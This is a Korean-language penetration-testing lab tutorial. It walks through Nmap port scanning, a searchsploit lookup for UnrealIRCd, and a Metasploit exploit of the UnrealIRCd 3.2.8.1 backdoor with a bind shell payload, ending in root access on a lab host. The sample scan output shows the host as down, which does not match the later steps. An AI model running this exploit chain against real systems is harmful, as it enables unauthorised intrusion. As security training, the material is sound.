소개
네트워크 스캐닝은 매우 실용적인 분야입니다. 네트워크 스캐닝을 통해 사용자는 대상 호스트에서 다양한 서비스에 할당된 포트, 열린 서비스, 서비스 소프트웨어 및 버전, 기타 정보를 발견할 수 있습니다.
이 랩에서는 대상 호스트의 네트워크 서비스 보안 취약점을 스캔하는 방법을 배우게 됩니다.
Nmap 을 사용하여 대상 호스트의 열린 포트 스캔
네트워크 스캐닝의 기본 워크플로우는 다음과 같습니다.
- 대상 호스트 발견
- 포트 스캔 (Port Scanning)
- 핑거프린트 정보 스캔 (Fingerprint Information Scanning)
- 취약점 스캔 (Vulnerability Scanning)
- 침투 공격 수행
Nmap (Network Mapper) 은 강력한 네트워크 스캐닝 도구입니다. UDP, TCP connect(), TCP SYN (half-open scanning), FTP 프록시 (bounce attack), reverse flag, ICMP, FIN, ACK scanning, SYN scanning, null scanning 등 다양한 스캔 기술을 지원합니다.
이 단계에서는 Nmap 을 사용하여 대상 호스트의 열린 포트를 스캔합니다.
- 터미널을 열고 Kali 컨테이너에 진입합니다:
docker run -ti --network host b5b709a49cd5 bash
nmap명령을 사용하여 대상 호스트 192.168.122.102 를 스캔합니다:
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt
이 명령은 대상 호스트에서 1 부터 65535 까지의 모든 포트를 스캔하며, 타이밍 정책은 4 (더 빠름), OS 핑거프린팅 및 버전 감지를 활성화하고, 출력을 /tmp/report.txt에 저장합니다.
스캔 결과 분석
대상 호스트를 스캔한 후에는 스캔 결과를 분석하여 잠재적인 취약점을 식별해야 합니다.
- 스캔 보고서 보기:
cat /tmp/report.txt
이 명령은 대상 호스트의 열린 포트, 서비스 및 버전에 대한 정보가 포함된 /tmp/report.txt 파일의 내용을 표시합니다. 다음은 표시될 수 있는 출력의 예입니다.
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating ARP Ping Scan at 15:28
Scanning 192.168.122.102 [1 port]
Completed ARP Ping Scan at 15:28, 1.42s elapsed (1 total hosts)
Nmap scan report for 192.168.122.102 [host down]
NSE: Script Post-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.98 seconds
Raw packets sent: 2 (56B) | Rcvd: 0 (0B)
searchsploit도구를 사용하여 취약점 정보 검색:
searchsploit unreal ircd
이 명령은 "unreal ircd" 서비스와 관련된 취약점에 대한 Exploit Database 를 검색합니다. 다음은 표시될 수 있는 출력의 예입니다.
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
- 취약점 세부 정보 보기:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb
이 명령은 /usr/share/exploitdb/exploits/linux/remote/16922.rb에 있는 취약점 익스플로잇 파일의 내용을 표시합니다.
취약점 공격
스캔 결과를 분석하고 잠재적인 취약점을 식별한 후에는 침투 공격을 위해 취약점을 익스플로잇을 시도할 수 있습니다.
스캔 결과에서 익스플로잇 가능한 취약점을 식별합니다. 예를 들어, 스캔에서 취약한 서비스가 있는 열린 포트 6667 을 발견했다고 가정해 보겠습니다.
Metasploit Framework 시작:
cd ~
msfconsole
- Metasploit 콘솔에서 적절한 익스플로잇 모듈을 선택합니다:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- 대상 호스트 IP 주소 설정:
set RHOST 192.168.122.102
- 페이로드 (Payload) 설정:
set PAYLOAD cmd/unix/bind_perl
- 익스플로잇 실행:
exploit
익스플로잇이 성공하면 대상 호스트에 대한 접근 권한을 얻게 됩니다.
- 취약점 익스플로잇을 시도한 후에는 익스플로잇이 성공했는지 확인해야 합니다. Metasploit 세션에서 현재 사용자 및 호스트 이름을 확인합니다:
whoami
hostname
출력에서 root 사용자로 로그인되어 있고 호스트 이름이 대상 호스트와 일치하는 경우 익스플로잇이 성공한 것입니다.
Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.
요약
이 랩에서는 대상 호스트 검색, 포트 스캔, 핑거프린팅 (Fingerprinting) 정보 스캔, 취약점 스캔 및 침투 공격 수행을 포함하는 네트워크 스캔의 기본적인 워크플로우 (workflow) 를 배웠습니다. 강력한 Nmap 도구를 사용하여 대상 호스트의 열린 포트를 스캔하고 스캔 결과를 분석하여 잠재적인 취약점을 식별했습니다. 또한 searchsploit 도구를 사용하여 취약점 정보를 검색하는 방법과 Metasploit Framework 를 사용하여 취약점을 익스플로잇하는 방법을 배웠습니다. 마지막으로, 대상 호스트에서 현재 사용자 및 호스트 이름을 확인하여 익스플로잇의 성공 여부를 확인했습니다.
이 실습 랩을 통해 네트워크 서비스 보안 취약점을 스캔하고 침투 공격을 수행하는 실질적인 경험을 얻었습니다. 이러한 지식은 네트워크 시스템의 보안을 보장하고 잠재적인 위험을 식별하는 데 매우 중요합니다.



